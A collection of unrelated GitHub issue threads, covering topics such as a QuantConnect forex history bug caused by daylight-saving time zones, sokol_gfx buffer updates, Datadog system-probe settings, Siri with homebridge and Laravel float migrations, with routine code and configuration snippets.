One-Day Historical Data Requests for Forex Does Not Return Data on Monday

Expected Behavior
One-day historical data requests for forex behave like equity.
Actual Behavior
One-day historical data requests for forex does not return data on Monday.
Potential Solution
N/A
Reproducing the Problem
namespace QuantConnect.Algorithm.CSharp {
    public class BasicTemplateAlgorithm : QCAlgorithm {
        private Symbol _symbol;
        private int _day = -1;

        public override void Initialize() {
            SetStartDate(2018, 1, 1);
            SetEndDate(2019, 1, 1);
            _symbol = AddForex("EURUSD", Resolution.Minute).Symbol;
        }

        public override void OnData(Slice data) {

            if (Time.Day == _day) return;

            _day = Time.Day;
            var history = History(1, Resolution.Daily).Get<QuoteBar>(_symbol).ToList();

            if (!history.Any()) Debug($"No data on the eve of {Time} {Time.DayOfWeek}");
        }
    }
}

Checklist

[x] I have completely filled out this template
[x] I have confirmed that this issue exists on the current master branch
[x] I have confirmed that this is not a duplicate issue by searching issues
[x] I have provided detailed steps to reproduce the issue

2018-01-01 00:00:00 Launching analysis for d5da2354390b1ee83c169cf76c095ec0 with LEAN Engine v<IP_ADDRESS>.7314
2018-03-13 00:00:00 No data on the eve of 3/13/2018 12:00:00 AM Tuesday
2018-03-19 00:00:00 No data on the eve of 3/19/2018 12:00:00 AM Monday
2018-03-26 00:00:00 No data on the eve of 3/26/2018 12:00:00 AM Monday
2018-04-02 00:00:00 No data on the eve of 4/2/2018 12:00:00 AM Monday
2018-04-09 00:00:00 No data on the eve of 4/9/2018 12:00:00 AM Monday
2018-04-16 00:00:00 No data on the eve of 4/16/2018 12:00:00 AM Monday
2018-04-23 00:00:00 No data on the eve of 4/23/2018 12:00:00 AM Monday
2018-04-30 00:00:00 No data on the eve of 4/30/2018 12:00:00 AM Monday
2018-05-07 00:00:00 No data on the eve of 5/7/2018 12:00:00 AM Monday
2018-05-14 00:00:00 No data on the eve of 5/14/2018 12:00:00 AM Monday
2018-05-21 00:00:00 No data on the eve of 5/21/2018 12:00:00 AM Monday
2018-05-28 00:00:00 No data on the eve of 5/28/2018 12:00:00 AM Monday
2018-06-04 00:00:00 No data on the eve of 6/4/2018 12:00:00 AM Monday
2018-06-11 00:00:00 No data on the eve of 6/11/2018 12:00:00 AM Monday
2018-06-18 00:00:00 No data on the eve of 6/18/2018 12:00:00 AM Monday
2018-06-25 00:00:00 No data on the eve of 6/25/2018 12:00:00 AM Monday
2018-07-02 00:00:00 No data on the eve of 7/2/2018 12:00:00 AM Monday
2018-07-09 00:00:00 No data on the eve of 7/9/2018 12:00:00 AM Monday
2018-07-16 00:00:00 No data on the eve of 7/16/2018 12:00:00 AM Monday
2018-07-23 00:00:00 No data on the eve of 7/23/2018 12:00:00 AM Monday
2018-07-30 00:00:00 No data on the eve of 7/30/2018 12:00:00 AM Monday
2018-08-06 00:00:00 No data on the eve of 8/6/2018 12:00:00 AM Monday
2018-08-13 00:00:00 No data on the eve of 8/13/2018 12:00:00 AM Monday
2018-08-20 00:00:00 No data on the eve of 8/20/2018 12:00:00 AM Monday
2018-08-27 00:00:00 No data on the eve of 8/27/2018 12:00:00 AM Monday
2018-09-03 00:00:00 No data on the eve of 9/3/2018 12:00:00 AM Monday
2018-09-10 00:00:00 No data on the eve of 9/10/2018 12:00:00 AM Monday
2018-09-17 00:00:00 No data on the eve of 9/17/2018 12:00:00 AM Monday
2018-09-24 00:00:00 No data on the eve of 9/24/2018 12:00:00 AM Monday
2018-10-01 00:00:00 No data on the eve of 10/1/2018 12:00:00 AM Monday
2018-10-08 00:00:00 No data on the eve of 10/8/2018 12:00:00 AM Monday
2018-10-15 00:00:00 No data on the eve of 10/15/2018 12:00:00 AM Monday
2018-10-22 00:00:00 No data on the eve of 10/22/2018 12:00:00 AM Monday
2018-10-29 00:00:00 No data on the eve of 10/29/2018 12:00:00 AM Monday
2018-11-05 00:00:00 No data on the eve of 11/5/2018 12:00:00 AM Monday

Potentially daylight savings time zone issue.

Here's a trace of the time variables involved in the comparison and conversion process (cc @Martin-Molinero and @Jay-Jay-D )

Algorithm TimeZone == "America/New_York"
Algorithm Time == 2018-03-19 00:00:00
Algorithm UtcTime == 2018-03-19 04:00:00
Filtering point:
if (data.EndTime > endExchTz) // filter out
// (data.EndTime == 2018-03-19 01:00:00 (likely exchTimeZone)
// endExchTz == 2018-03-19 00:00:00 (likely exchTimeZone)

Data stack
// DataTimeZone is UTC-05
// ExchangeTimeZone is "America/New_York"

ParseQuote(SubscriptionDataConfig, DateTime, string, bool)
    quoteBar.Time = Parse(csv[0]).ConvertTo(DataTimeZone, ExchangeTimeZone)
    // or can be:
    quoteBar.Time = date.Date.AddMilliseconds(csv[0]).ConvertTo(DataTimeZone, ExchangeTimeZone);

ParseQuote(SubscriptionDataConfig, DateTime, string, bool)
    quoteBar.Time = Parse(csv[0]).ConvertTo(DataTimeZone, ExchangeTimeZone)
    // or can be:
    quoteBar.Time = date.Date.AddMilliseconds(csv[0]).ConvertTo(DataTimeZone, ExchangeTimeZone);

... // Up the enumerator stack :)

TextSubscriptionDataSourceReader.Read()
SubscriptionDataReader.MoveNext()
    if (instance.EndTime.ConvertTo(ExchTimeZone, DataTimeZone).Date > TradableDates.Current) // no mutation, but still...
        if (instance.Time.ConvertTo(ExchTimeZone, DataTimeZone).Date > currentTradableDate)

PriceScaleFactorEnumerator.MoveNext()
SynchronizingEnumerator.GetBruteForceMethod()
SynchronizingEnumerator.MoveNext()
QuoteBarFillForwardEnumerator.MoveNext()
FillForwardEnumerator.MoveNext()
SubscriptionFilterEnumerator.MoveNext()
SubscriptionDataReaderHistoryProvider.FilterEnumerator.MoveNext()

// No data mutations to `Time` or `EndTime` have happened in all this time. Any conversions were documented above

FilterEnumerator(, data => {
    if (data.EndTime > endExchTz) // filter
    // (data.EndTime == 2018-03-19 01:00:00 (exchTimeZone)
    // endExchTz == 2018-03-19 00:00:00 (likely exchTimeZone)
});

History request stack
CreateBarCountHistoryRequests
    start = (2018-03-18 00:00:00).ConvertTo(exchange.TimeZone, _algorithm.TimeZone).ConvertToUtc(Algorithm.TimeZone)
    end = (2018-03-19 00:00:00 -- Algorithm.Time).ConvertToUtc(Algorithm.TimeZone)
...
HistoryProvider.GetHistory(IEnumerable<HistoryRequest>, DataTimeZone=America/New_York)
    req.Select(x => CreateSubscription(req, startUtc.ConvertFromUtc(ExchHours.TimeZone), endUtc.ConvertFromUtc(ExchHours.TimeZone))
        CorporateEventEnumerator()
        QuoteBarFillForwardEnumerator()
        FillForwardEnumerator(startExchTime.ConvertToUtc(Exch.TimeZone), endExchTime.ConvertToUtc(Exch.TimeZone))
        SubscriptionFilterEnumerator(endExchTime),
        FilterEnumerator(, data => {
            // We've reached the "Filtering point"

            if (data.EndTime > endExchTz) // filter
            // (data.EndTime == 2018-03-19 01:00:00 (Likely exchTimeZone)
            // endExchTz == 2018-03-19 00:00:00 (exchTimeZone)
        });

It seems to be the case that both of these times are in the exact same timezone, but because the data has the timestamp of 00:00 at UTC-05, when we convert it into the America/New_York timezone, the time component shows up as 01:00:00 because midnight UTC-05 is 01:00 in UTC-04.

Wonder why this happens only on Monday 🤔
The data time zone is fixed at UTC-05, the exchange is America/New_York which goes from UTC-05 to UTC-04. So, midnight in exchange time zone, the end time, will be 1 hour behind that the data time zone midnight in some cases.
Since the algorithm is asking at midnight America/New_York, exchange time zone, it still missing 1 hour for that data to be there (?), isn't then the start time wrong? maybe related to the fact this happens only on Mondays too.
Using Resolution Daily for the added forex on initialize, should do the trick, since it wouldn't ask at mightnight but at 1 AM America/New_York, since that's when the data comes through, but the end time is being cropped https://github.com/QuantConnect/Lean/blob/master/Common/Time.cs#L460, seems this should be using ExchangeRoundDownInTimeZone instead 🤔

Believe this bug is in the start time, GetStartTimeForTradeBars, it gets the start time removing the expected bar size in exchange time zone, but I think it should actually be using data time zone, this is happening because FXCM has 1 hour difference between both timezones


grammer -> grammar

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot


convert error (wrong pair projections)

=== prop_convert_is_well_typed from test/Icicle/Test/Source/Convert.hs:34 ===
*** Failed! Falsifiable (after 77 tests):
QueryWithFeature {qwfQuery = Query {contexts = [], final = Nested () (Query {contexts = [Let () (Name (Variable "chef")) (Var () (Name (Variable "animal"))),Windowed () (Weeks 3) (Just (Days 5))], final = Var () (Name (Variable "waldorf"))})}, qwfNow = Just (Name (Variable "waldorf")), qwfOutput = OutputName "chef", qwfFeatureT = ArrayT UnitT, qwfFeatureN = Name (Variable "animal"), qwfTimeName = Name (Variable "chef")}
feature animal
~> (let chef = animal
    ~>
    windowed between 5 days and 3 weeks
    ~> waldorf)
Program (core$0 : Stream Array Unit, core$1 : SNAPSHOT_TIME)
Precomputations:

Streams:
core$2               = sfold [(Array Unit, (Array Unit, Time))] (pair#
                                                                 (fst# core$0)
                                                                 core$0) then (pair#
                                                                               (fst#
                                                                                core$0)
                                                                               core$0)
sfilter window# 3 weeks5 days
        core$1 (fst# core$2)

Postcomputations

Returning:
  chef                 = core$1

Left (ProgramErrorStream (StreamErrorExp (ExpErrorApp (XApp () (XPrim () (PrimWindow (Weeks 3) (Just (Days 5)))) (XVar () (NameMod (Variable "core") (Name (Variable "1"))))) (XApp () (XPrim () (PrimMinimal (PrimPair (PrimPairFst (ArrayT UnitT) (PairT (ArrayT UnitT) TimeT))))) (XVar () (NameMod (Variable "core") (Name (Variable "2"))))) (FunT [FunT [] TimeT] BoolT) (FunT [] (ArrayT UnitT)))))

sorry, I think this is same as #327, which is fixed in my branch but I haven't merged yet


sokol_gfx: update a stream buffer and draw it multiple times during the same pass

First of all, thanks a lot for the development of sokol!
I successfully used sokol with the proposed samples and I am now doing complementary tests with OpenGL 3.3.
One of this test is to update a stream buffer and draw it several times during the same pass. However, it does not work because one assertion (line 9009) is not valid in the function sg_update_buffer. If I comment this assertion, it works without problems.
Why is it not allowed to update a stream buffer multiple times during the same pass?

I've added this restriction to have a simple and consistent way to avoid unintended blocking where the CPU needs to wait for the GPU because the GPU is currently drawing from the buffer (or image).
In the GL and Metal backend, dynamic buffers and images have multiple internal buffers which sokol rotates through to avoid blocking (in D3D11, LOCK_DISCARD is used, which does the same internally).
If you would update the same buffer multiple times per frame, it would rotate through the internal buffers all in the same frame, and the CPU would need to wait for the GPU.
When you remove the assert, it appears to work in the GL backend, but the CPU might stall waiting for the GPU (depending on whether or not the GL driver does any magic under the hood, but that's not reliable, and definitely doesn't work on WebGL). On Metal it might also appear to work, but you may get random rendering artefacts because the CPU scribbled over buffers that are currently in use by the GPU.

Thank you for these explanations. I better understand the reason why you use the global buffers vertices and indices in the sokol-samples imgui GLFW sample.
What do you think about the possibility to remove these global buffers? In the OpenGL3 example furnished with ImGui 1.66WIP (imgui_impl_opengl3.cpp:210), the GPU buffer is updated for each ImGui command list and then several draw commands are called based on the listed ImGui command buffers.
So instead of the proposed function void imgui_draw_cb(ImDrawData* draw_data), do you think it would be possible (with some modification in sokol_gfx.h) to do something like the following snippet? In this case the GPU buffer is updated for each command list.
// This sample might not compile. It is only to show the difference with the existing code
void imgui_draw_cb(ImDrawData* draw_data) {
    assert(draw_data);
    if (draw_data->CmdListsCount == 0) {
        return;
    }
    sg_apply_draw_state(&draw_state);
    sg_apply_uniform_block(SG_SHADERSTAGE_VS, 0, &vs_params, sizeof(vs_params));
    int base_element = 0;
    for (int cl_index = 0 ; cl_index < draw_data->CmdListsCount ; ++cl_index) {
        const ImDrawList *cmd_list = draw_data->CmdLists[cl_index];
        // The next line triggers the assertion.
        sg_update_buffer(draw_state.vertex_buffers[0], cmd_list->VtxBuffer.Data, cmd_list->VtxBuffer.Size * sizeof(ImDrawVert));
        sg_update_buffer(draw_state.index_buffer, cmd_list->IdxBuffer.Data, cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx));
        int base_element = 0;
        for (const ImDrawCmd& pcmd : cmd_list->CmdBuffer) {
            if (pcmd.UserCallback) {
                pcmd.UserCallback(cmd_list, &pcmd);
            }
            else {
                const int sx = (int) pcmd.ClipRect.x;
                const int sy = (int) pcmd.ClipRect.y;
                const int sw = (int) (pcmd.ClipRect.z - pcmd.ClipRect.x);
                const int sh = (int) (pcmd.ClipRect.w - pcmd.ClipRect.y);
                sg_apply_scissor_rect(sx, sy, sw, sh, true);
                sg_draw(base_element, pcmd.ElemCount, 1);
            }
            base_element += pcmd.ElemCount;
        }
    }
}

This would has the advantage to remove the memory copy step and to simplify the modification of the code to use unsigned 32-bit indices.

Ok, I'm just making up things now, not sure if it makes sense yet:
To eliminate the inbetween step I think the following could work: have a new sg_append_buffer() function which appends a chunk of "subdata" to a buffer and keeps track of the current end-of-data position in the buffer (this position would be reset at frame start). The application can call sg_append_buffer() multiple times per frame, but it must not "overflow" the buffer.
Sokol can already now render from a partially filled buffer (as long as the drawing operation stays within the currently "valid data" range in the buffer), and there's a relatively new feature where you can set an offset into the buffer in sg_draw_state.
The ImGui draw loop would then look like this:
    for (int cl_index = 0 ; cl_index < draw_data->CmdListsCount ; ++cl_index) {
        const ImDrawList *cmd_list = draw_data->CmdLists[cl_index];
        int vb_offset = sg_append_buffer(draw_state.vertex_buffers[0], cmd_list->VtxBuffer.Data, cmd_list->VtxBuffer.Size * sizeof(ImDrawVert));
        int ib_offset = sg_append_buffer(draw_state.index_buffer, cmd_list->IdxBuffer.Data, cmd_list->IdxBuffer.Size * sizeof(ImDrawIdx));
        draw_state.vertex_buffer_offsets[0] = vb_offset;
        draw_state.index_buffer_offset = ib_offset;
        sg_apply_draw_state(&draw_state);
        int base_element = 0;
        for (const ImDrawCmd& pcmd : cmd_list->CmdBuffer) {
            if (pcmd.UserCallback) {
                pcmd.UserCallback(cmd_list, &pcmd);
            }
            else {
                const int sx = (int) pcmd.ClipRect.x;
                const int sy = (int) pcmd.ClipRect.y;
                const int sw = (int) (pcmd.ClipRect.z - pcmd.ClipRect.x);
                const int sh = (int) (pcmd.ClipRect.w - pcmd.ClipRect.y);
                sg_apply_scissor_rect(sx, sy, sw, sh, true);
                sg_draw(base_element, pcmd.ElemCount, 1);
            }
        }
    }

This would both eliminate the intermediate copy, and the additions on the indices while copying the indices...
You would still have the same buffer rotation system under the hood, the only difference is that you add data to the dynamic buffers in chunks, and issue a draw command on that chunk...
I think that looks pretty neat :) I'll write a separate implementation ticket.

Indeed that's pretty neat :)
I guess the definition of the [_]sg_append_buffer would be quite the same than the definition of the [_]sg_update_buffer except you have an internal offset that update the right "subdata" in the GPU buffer.

I don't really know the internal behaviour of sokol. Please forget me if the following code is a nonsense for you :-)
The following code propose an implementation of sg_append_buffer for the OpenGL backend. It it the mechanism you have in mind?
// New member in the _sg_buffer structure
// - offset: new member that is incremented each time the
//           sg_update_buffer function is called.
// - used_slots: new member that count the number of slots used in this frame
// New enum item in _sg_validate_error
// - _SG_VALIDATE_APDBUF_USAGE
// - _SG_VALIDATE_APDBUF_ONCE
// - _SG_VALIDATE_APDBUF_SIZE

// This code is quite the same than _sg_validate_update_buffer.
// Only one validation differs to verify
_SOKOL_PRIVATE bool _sg_validate_append_buffer(const _sg_buffer* buf, const void* data, int size) {
    #if !defined(SOKOL_DEBUG)
        _SOKOL_UNUSED(buf);
        _SOKOL_UNUSED(data);
        _SOKOL_UNUSED(size);
        return true;
    #else
        SOKOL_ASSERT(buf && data);
        SOKOL_VALIDATE_BEGIN();
        SOKOL_VALIDATE(buf->usage != SG_USAGE_IMMUTABLE, _SG_VALIDATE_APDBUF_USAGE);
        SOKOL_VALIDATE(buf->used_slots <= SG_NUM_INFLIGHT_FRAMES && buf->size >= buf->offset + size, _SG_VALIDATE_APDBUF_SIZE);
        SOKOL_VALIDATE(buf->upd_frame_index != _sg.frame_index, _SG_VALIDATE_APDBUF_ONCE);
        return SOKOL_VALIDATE_END();
    #endif
}

// Note: OpenGL implementation
// This implementation proposes to append data to the internal slots using the
// following rules:
//  - update the current slot while the current_size + data_size does not
//    exceed the buffer_size associated with the current slot
//  - if current_size + data_size > buffer_size, use another slot
// TBD: How to reset it when the function sg_end_pass is called?
//      Can we loop in the pool to pass through the buffer and reset 'offset'?
_SOKOL_PRIVATE bool _sg_append_buffer(_sg_buffer* buf, const void* data_ptr, int data_size) {
    SOKOL_ASSERT(buf && data_ptr && (data_size > 0));
    if (data_size + buf->offset >= buf->size) {
        ++buf->active_slot;
        ++buf->used_slots;
        buf->offset = 0;
    }
    if (buf->active_slot >= buf->num_slots) {
        buf->active_slot = 0;
    }
    GLenum gl_tgt = _sg_gl_buffer_target(buf->type);
    SOKOL_ASSERT(buf->active_slot < SG_NUM_INFLIGHT_FRAMES);
    GLuint gl_buf = buf->gl_buf[buf->active_slot];
    SOKOL_ASSERT(gl_buf);
    _SG_GL_CHECK_ERROR();
    glBindBuffer(gl_tgt, gl_buf);
    glBufferSubData(gl_tgt, buf->offset, data_size, data_ptr);
    _SG_GL_CHECK_ERROR();
    buf->offset += data_size;
    return buf->used_slots >= SG_NUM_INFLIGHT_FRAMES;
}

void sg_update_buffer(sg_buffer buf_id, const void* data, int num_bytes) {
    if (num_bytes == 0) {
        return;
    }
    _sg_buffer* buf = _sg_lookup_buffer(&_sg.pools, buf_id.id);
    if (!(buf && buf->slot.state == SG_RESOURCESTATE_VALID)) {
        return;
    }
    if (_sg_validate_append_buffer(buf, data, num_bytes)) {
        SOKOL_ASSERT(buf->upd_frame_index != _sg.frame_index);
        if (_sg_append_buffer(buf, data, num_bytes)) {
          // All the slots are used, it is no more possible to update/append data in the buffer.
          buf->upd_frame_index = _sg.frame_index;
        }
    }
}


How to change the response body encoding?

My server back the data is binary, and I want use it, but I find the body is string.
what can i do ?

Please read the document line by line by yourself, and then think twice before you open an issue.


Redesign Explorer Practice

There are several issues related to Explorer Practice, this should cover them all, in the far future, as I don't want to bloat Explorer Practice before I design it properly. Some ideas:

button is not easily discoverable, should be a regular button like Explorer and Practice, even if a subset of Explorer
different algorithms for choosing the computer move (gambits, aggressive, defensive, highest rated, rare moves, etc.)
configurable hiding/showing different things like the explorer moves, the games played in the variation, computer evaluation, the other Practice button, etc.

Use the LT Stockfish to show last move evaluation. Allow for good/bad/best, etc during practice, like regular practice.

Add a button that can evaluate last move, so a manual option to get feedback.


Enable system-probe without enabling Network Performance Monitoring.

Describe what happened:
In the documentation the suggested method to enable Network Performance Monitoring is to simply enable the system probe.
I have tested this, and this works as suggested.
The problem with this is that users may want to enable the system-probe for other checks/metrics (for example the oom_kill check), but may not want to enable Network Performance Monitoring.
I can find no documented way of disabling  Network Performance Monitoring once the system-probe is enabled.
I've tried adding the following configuration which I found in the datadog-agent config template in github, but this does not in any way disable NPM once system-probe is enabled:
network_config:
  enabled: false

Describe what you expected:
I expected there to been a configuration option which would allow users to disable Network Performance Monitoring, without disabling the system-probe.
Steps to reproduce the issue:
Add system-probe.yaml in /etc/datadog with the following configuration:
system_probe_config:
  enabled: true

Additional environment details (Operating System, Cloud provider, etc):
Debian 10.7
datadog-agent v7.21.1

We need this exact use case. We're interested in process monitoring and OOM checks, but we want to disable network monitoring.
I also asked this question on the support chat. Ticket #434494

We need this exact use case. We're interested in process monitoring and OOM checks, but we want to disable network monitoring.
I also asked this question on the support chat. Ticket #434494

Hi @neilharris123 and @braiamwm,
As of agent version 7.24.0, you can enable the OOMkill check without network monitoring by omitting the system_probe_config.enabled=true. I'll fix the documentation you linked to reflect this.

Hi @neilharris123 and @braiamwm,
As of agent version 7.24.0, you can enable the OOMkill check without network monitoring by omitting the system_probe_config.enabled=true. I'll fix the documentation you linked to reflect this.

@leeavital
Is it possible to get clear instructions on this?


SIRI commands - other languages (german)

Hey,
don't think this is an homebridge issue, but i don't know where i should this post to...
Any help is welcome!
I've a strange behaviour with voice commands to siri in german. My setup:

"accessories": [
{
"accessory": "CMD",
"name": "Lampe",
"on_cmd": "sudo codesend 83029",
"off_cmd": "sudo codesend 83028"
},
{
"accessory": "CMD",
"name": "Verstärker",
"on_cmd": "sudo codesend 21589",
"off_cmd": "sudo codesend 21588"
}
]

So i've two identical accessouries, only the name is different (Lampe = lamp, Verstärker=amplifier).
This works
"Lampe ein" (lamp on)  --> OK
"Schalte die Lampe ein" (turn the light on) --> OK
Now the problem with "verstärker:
Most of the time, Siri does a websearch on that:
"Verstärker ein" --> Siri does a websearch.
Also other words like einschalten, anschalten or an, same result.
They all work with lampe.
And now even more strange:
"schalte den verstärker ein" (turn on the amplifier) works and after a few commands it stops working. The spelling and understanding from siri were the same.
Any ideas??? It is not related to the umlaut ä, also tried different names. Only "Lampe" works...
Lampe2 also do not work (i can't find Lampe 2).
Thank you!

Hallo zackdvdch,
ich könnte mir vorstellen, das es Probleme mit den Umlauten "äöü" gibt.
Beispiel:
Verstärker = Versterker
Gruß
Patcher

I have the same problem. "Verstärker" is not always recognized by Siri as a HomeKit device. I tried "Lautsprecher" but I did not like it... ended up creating Scenes that would do the job (i.e. set the living room to XBOX)...

The strange thing is "not always recognized"...  Same here.
Siri answers: I don't understand

answer: I did not found no devices

This worked

But Siri answers with "ausgeschaltet", which "she" doesn't understand in the first picture...
It's really hard to understand why Lampe is OK and Verstärker not (always).
I'll play around with some different names..

Grüße Carsten

if siri does not recognize a device name as a homekit device it often helps to add the name of the room or the name of the home.

A workaround is to create scenes like "Verstärker an" and "Verstärker aus". This works for me.
Maybe one can add this here:
https://github.com/nfarina/homebridge/wiki/Siri-commands

@zackdvd Danke Dir ein bzw. ausschalten geht jetzt endlich. Super Tipp von dir.

kann man auch das Volumen einstellen per Siri?

@zackdvd du musst dir eine LIFX LED Birne holen, ich habe nun eine und kann das Licht direkt über Siri steuern, ist echt genial. Du kannst es auch direkt mit % Werten dimmen, bin total begeistert.

Since iOS 10.1 it now seems to work without problems. No scenes needed any more.


livereload feature work incorrectly when using root && route options via node.js API[win10 only]

Describe the bug
livereload feature work incorrectly when using root && route options via node.js API
To Reproduce
Steps to reproduce the behavior:

Run Server-X with root && route options via node.js API

Ensure Server-X running correctly at port 8000 [default port]

Place a route.js file to path-to-route/route.js
route.js
get('/test.html').to.send('<html>test from mock server</html>')

Open http://localhost:8000/test.html in browser

It will display a text of "test from mock server".

Edit path-to-route/route.js and try to save multiple times

Refresh browser with the same url http://localhost:8000/test.html while trying step 5.

livereload feature seems to be broken then display a 404 Not Found page

Desktop (please complete the following information):

OS: windows 10
Node: 8.16.0
Browser: chrome/firefox
Version: 1.1.3

bug recurrence project: github link

Seems cannot reproduce here on my computer :cry:
OS: windows 10
Node: 8.16.0
Version: 1.1.3

So what do you edit in step 5 ?
Does the terminal print any logs after you save the route.js?

Seems cannot reproduce here on my computer 😢
OS: windows 10
Node: 8.16.0
Version: 1.1.3

So what do you edit in step 5 ?
Does the terminal print any logs after you save the route.js?

Just save without editing.
outputs:
[svrx] [routing update] D:\xxx\config\route.js
Cannot reproduce on other computers😢


[5.2+] Cannot alter float precision in migration using ->change()

Assume the following migration:
Schema::create('tablename', function (Blueprint $table) {
    $table->increment('id');
    $table->float('some_value');
});

This generates a float column with precision of 2. I needed to alter this to have more decimal places. I created this migration to change it:
Schema::table('tablename', function (Blueprint $table) {
    $table->float('some_value', 8, 6)->change();
});

This migration runs fine, but the float is still using only 2 decimal places. This lead me to try and change it to a double:
Schema::table('tablename', function (Blueprint $table) {
    $table->double('some_value', 8, 6)->change();
});

This resulted in some doctrine/dbal error stating about an unknown type double. In the end I had to use the following migration:
Schema::table('tablename', function (Blueprint $table) {
    $table->decimal('some_value', 8, 6)->change();
});

This ran through fine and now I had a table column which allows more than 2 decimal places.
Is this how the float is supposed work:

Creating a column defaults to 2 decimal places,
When altering you cannot alter the original decimal places,
You can switch to DECIMAL and this allows altering the decimal place count?

Please let me know if you cannot replicate this issue and I'll try to run through it again to see whether I messed up somewhere. I'm running Laravel 5.2.* and the database is a MariaDB 10.1 on Ubuntu 14.04 with PHP7.
EDIT: right now I noticed values 3 and 6 for decimal('col', 3, 6)did not work as 3 stands for the full amount of digits, not just the ones on the left side of the decimal. So the confusion there has been cleared. float('col', 8, 6) does not work anyway, and results in a 2 decimal place precision.

This is a non-issue and a misunderstanding of how the float and decimal types work in databases.
A float(ing point) doesn't have exact precision, but allows (many) more than two decimal places.
A decimal is exact precision, and 8, 4 would result in a decimal of the form 0000.0000.

@ameliaikeda I don't agree that this is a non-issue. Using the current implementation, executing $table->float('some_value'); and $table->float('some_value', 8, 6); does not produce the same database result (the first creates a DOUBLE(8,2) column and the second a DOUBLE(8,6)). So it stands to reason that executing $table->float('some_value', 8, 6)->change(); should update the column. This is still happening in 5.7.

Agreed with @NoelDeMartin. I'm using ->float() which creates a 2-precision double which in turn is giving me problems since I'm expecting higher precision. Tried changing it like mentioned above but that doesn't work. So either ->float() should create some kind of datatype that supports high precision or this function should work as expected. This is all on a MySQL-database by the way

public function up()
    {
        DB::statement('ALTER TABLE users CHANGE username username VARCHAR(200)');
    }

Yes, it is an issue and "change()" should work. But until it does, you can solve the problem with a SQL statement.
   public function up()     {         DB::statement('ALTER TABLEtable_name         CHANGE COLUMNold_column_name new_column_name DOUBLE(8,6) NULL DEFAULT NULL ;');     }

Just did DB::statement('ALTER TABLE table_name MODIFY column_name FLOAT(9,3) NOT NULL;'); after reading this thread and it worked. Thank you, guys <3

This is an awful issue, why is it closed?

Thank you, guys, for your knowledge sharing.

The better option is:
`
Schema::table('tablename', function (Blueprint $table) {
$table->decimal('some_value_migration', 8, 6);
});
\DB::statement('UPDATE tablename SET some_value_migration= some_value');
    Schema::table('tablename ', function ($table) {
        $table->dropColumn('some_value');
    });
    Schema::table('tablename', function (Blueprint $table) {
        $table->decimal('some_value', 8, 6);
    });
    \DB::statement('UPDATE tablename SET some_value= some_value_migration');
    Schema::table('tablename ', function ($table) {
        $table->dropColumn('some_value_migration');
    });

`


Unblessed Error in Console When Moving Image

Was messing with the getting started project and I added a Rich text and an Image to the page. Then moved the image over the text with the drag handlesd I saw the message in the console.
Running on Mint 18 Linux with FF version 55.0.2
This is my packages.json for the sample project -
{
  "name": "aposCMS",
  "version": "2.0.0",
  "description": "Minimal aposCMS",
  "main": "app.js",
  "scripts": {
    "start": "node app.js"
  },
  "repository": {
    "type": "git",
    "url": ""
  },
  "author": "P'unk Avenue",
  "license": "MIT",
  "dependencies": {
    "apostrophe": "^2.36.0"
  }
}

Error: unblessed
    at /home/sandy/aposCMS/node_modules/apostrophe/lib/modules/apostrophe-areas/lib/routes.js:158:19
    at /home/sandy/aposCMS/node_modules/apostrophe/lib/modules/apostrophe-module/index.js:86:20
    at /home/sandy/aposCMS/node_modules/async/lib/async.js:181:20
    at iterate (/home/sandy/aposCMS/node_modules/async/lib/async.js:262:13)
    at Object.async.forEachOfSeries.async.eachOfSeries (/home/sandy/aposCMS/node_modules/async/lib/async.js:281:9)
    at Object.async.forEachSeries.async.eachSeries (/home/sandy/aposCMS/node_modules/async/lib/async.js:214:22)
    at /home/sandy/aposCMS/node_modules/apostrophe/lib/modules/apostrophe-module/index.js:85:24
    at Layer.handle [as handle_request] (/home/sandy/aposCMS/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/sandy/aposCMS/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/sandy/aposCMS/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/sandy/aposCMS/node_modules/express/lib/router/layer.js:95:5)
    at /home/sandy/aposCMS/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/sandy/aposCMS/node_modules/express/lib/router/index.js:335:12)
    at next (/home/sandy/aposCMS/node_modules/express/lib/router/index.js:275:10)
    at serveStatic (/home/sandy/aposCMS/node_modules/serve-static/index.js:75:16)
    at Layer.handle [as handle_request] (/home/sandy/aposCMS/node_modules/express/lib/router/layer.js:95:5)

Just tried this in a new Apostrophe project and was not able to reproduce it. We did make recent changes to cut down on unblessed errors, so try an "npm update" and restart.

I did try npm update and had the same results. I'm still pretty green when working with Node, so I'm going to scrap the current test and reinstall it all from scratch on a new VM and see if it does it again.
Thanks
Sandy


Implement KHR_lights

The draft specification (https://github.com/KhronosGroup/glTF/pull/1223) is now stable enough to consider implementing here.

Fixed by #223.

How can I export a colored light?
Sorry to bother this issue again - but the code clearly seems to suggest that a color value from Blender is exported. However in the output gltf all lights I export will have the property
    "color" : [
        1.0,
        1.0,
        1.0
    ],

while in Blender I simply added the lights and then changed its color:

I'm using cycles, otherwise I cannot use the gltf-metalness node for material export.


Bug: addTables API

Hi @gitbrent
Please change newPageStartY to newSlideStartY in the documentation. newPageStartY doesn't work.

Thanks @Smithvinayakiya
Documentation updated.


Benchmark: extend for main script/command

Right now the benchmark does only the software project type, but code_inspector extracts the name of the package, the main script and the installation instructions.
We should add those to the benchmark too.

This is now added in the software_type evaluation


fix(entry_maker): support sorting_strategy=descending

@otavioschwanck does this fix your issue? Please give it a try.
Comes with a slight but unavoidable performance hit since we have to shuffle the title towards the back.
Should close #10

@otavioschwanck does this fix your issue? Please give it a try.
Comes with a slight but unavoidable performance hit since we have to shuffle the title towards the back.
Should close #10

Yeah, it fixes! Thank you!

Thanks for confirming!


Section 2.3 formatting

Description
The formatting of the green call-out is not rendering properly.  The text is floating over the text for the following paragraphs.
Browser: Microsoft Edge - Version 120.0.2210.121 (Official build) (64-bit)
(Optional:) Please add any files, screenshots, or other information here.

(Required) What is this issue most closely related to? Select one.
Figures
Internal issue ID
ca394d23-9e46-4cc8-a26e-0fd283fd9f34
Paper URL
https://arxiv.org/html/2401.10020v1
Browser
Chrome/<IP_ADDRESS>
Device Type
Desktop

dev note: related to SVG


Customizable Event Log Source selection

Enumerate event log channels from File menu
Preserve history

The former was supported by #40.

With #54, the dropdown list for Event Log source can be customized.
Viewing history is not implemented for now, but you could access recent evtx file from Jump List, if you opened the file from Explorer (though I know the UX isn't optimal).


import error urllib

